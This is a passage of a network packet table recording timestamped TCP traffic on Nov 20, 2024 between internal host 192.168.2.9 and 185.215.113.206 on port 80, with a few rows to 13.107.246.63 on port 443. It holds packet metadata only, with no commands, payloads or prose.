Nov 20, 2024 16:50:53.912574053 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.912622929 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:53.913449049 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.913681030 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.913738012 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:53.915374041 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.915390015 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.915484905 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:53.915808916 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.915822029 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.915864944 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:53.916198015 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.916368961 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.916434050 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:53.917131901 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.917208910 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:53.917309999 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.917361021 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:53.918046951 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.918441057 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.918499947 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:53.918991089 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.919171095 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.919893980 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.919956923 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:53.919980049 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.920814037 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.920851946 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.920895100 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:53.921724081 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.921914101 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.921958923 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:53.922652006 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.922769070 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.922827959 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:53.923590899 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.923702002 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.924530983 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.924602985 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:53.924782038 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.925084114 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:53.925390005 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.925489902 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.925524950 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:53.925539970 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:53.926328897 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.926486015 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.927246094 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.927309036 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:53.927489996 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.928172112 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.928319931 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.928364038 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:53.929074049 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.929213047 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.929270029 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:53.930150986 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.930164099 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.930648088 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:53.931186914 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.931252003 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.931510925 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:53.932039022 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.932090998 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.932162046 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:53.932951927 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.933116913 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:53.933399916 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.933501959 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:53.933839083 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.933852911 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.933886051 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:53.934691906 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.934705019 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.934756041 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:53.935626030 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.935719013 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:53.935741901 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.935847044 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:53.936547995 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.936575890 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.936661005 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:53.937422037 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.937473059 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:53.937562943 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.937607050 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:53.938370943 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.938414097 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:53.938442945 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.938492060 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:53.939265966 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.939328909 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:53.939414024 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.939807892 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:53.940128088 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.940182924 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:53.940382004 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.940429926 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:53.941055059 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.941108942 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.941241026 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:53.941977978 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.942146063 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.942230940 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:53.942900896 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.942949057 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:53.943140984 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.943183899 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:53.944278955 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.944339037 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:53.944406033 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.944600105 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:53.944777966 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.944823027 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:53.945014954 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.945066929 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:53.945812941 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.945925951 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.945976019 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:53.946549892 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.946780920 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.946846962 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:53.947570086 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.947582006 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.947678089 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:53.948579073 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.948643923 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:53.948854923 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.949311018 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.949368000 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:53.949420929 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.949528933 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:53.950333118 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.950390100 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:53.950434923 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.950535059 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:53.951210022 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.951221943 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.951363087 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:53.952332973 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.952362061 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.952393055 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:53.952419043 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:53.953104019 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.953222990 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.953253984 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:53.953280926 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:53.953907013 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.953984976 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:53.954015970 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.954062939 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:53.954869032 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.955004930 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.955065012 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:53.955773115 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.955832005 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:53.956037045 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.956104994 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:53.956702948 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.956764936 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.002863884 CET	443	49785	13.107.246.63	192.168.2.9
Nov 20, 2024 16:50:54.002882004 CET	443	49785	13.107.246.63	192.168.2.9
Nov 20, 2024 16:50:54.002892017 CET	443	49785	13.107.246.63	192.168.2.9
Nov 20, 2024 16:50:54.002918005 CET	443	49785	13.107.246.63	192.168.2.9
Nov 20, 2024 16:50:54.002928019 CET	443	49785	13.107.246.63	192.168.2.9
Nov 20, 2024 16:50:54.002939939 CET	443	49785	13.107.246.63	192.168.2.9
Nov 20, 2024 16:50:54.002996922 CET	49785	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:50:54.003024101 CET	443	49785	13.107.246.63	192.168.2.9
Nov 20, 2024 16:50:54.003106117 CET	49785	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:50:54.098649979 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.098671913 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.098741055 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.098828077 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.098965883 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.099267006 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.099323988 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.099355936 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.099747896 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.100043058 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.100096941 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.100121021 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.100333929 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.101058006 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.101072073 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.101110935 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.101126909 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.101902962 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.101959944 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.102272987 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.102328062 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.102802992 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.102860928 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.103163958 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.103287935 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.103740931 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.103863001 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.104178905 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.108112097 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.108129025 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.108169079 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.108184099 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.108202934 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.108227015 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.108238935 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.108244896 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.108266115 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.108287096 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.108455896 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.108473063 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.108521938 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.109725952 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.109787941 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.110075951 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.110126972 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.110693932 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.110748053 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.110799074 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.111568928 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.111749887 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.111912966 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.111978054 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.112737894 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.112783909 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.112935066 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.113420010 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.113734961 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.113749027 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.113787889 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.114576101 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.114628077 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.114736080 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.114856958 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.115689993 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.115816116 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.115844965 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.115861893 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.116458893 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.116473913 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.116520882 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.117248058 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.117309093 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.117388964 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.117505074 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.118314981 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.118330956 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.118385077 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.119262934 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.119347095 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.120347023 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.120407104 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.120518923 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.120533943 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.120573997 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.121280909 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.121296883 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.121356964 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.122033119 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.122045994 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.122091055 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.122848988 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.122864962 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.122906923 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.122936010 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.123857021 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.123873949 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.123922110 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.124856949 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.124871016 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.124943018 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.125492096 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.125550032 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.125736952 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.125792980 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.126508951 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.126570940 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.126827955 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.127085924 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.127607107 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.127624035 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.127674103 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.127674103 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.128587008 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.128710985 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.128743887 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.128875017 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.129250050 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.129400969 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.129420996 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.129528999 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.130115032 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.130168915 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.130431890 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.130521059 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.130989075 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.131298065 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.131351948 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.131918907 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.132122993 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.132230997 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.132539988 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.132872105 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.132925987 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.133027077 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.133069038 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.134033918 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.134145021 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.134172916 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.134191036 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.134963036 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.135020971 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.135247946 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.135488987 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.135704994 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.135773897 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.135855913 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.136850119 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.136862040 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.136913061 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.137501001 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.137559891 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.137597084 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.138375998 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.138508081 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.138557911 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.138864040 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.138972998 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.139420033 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.139450073 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.139508963 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.140302896 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.140371084 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.141079903 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.141130924 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.141216993 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.141228914 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.141261101 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.141278982 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.142113924 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.142165899 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.142215967 CET	80	49752	185.215.113.206	192.168.2.9
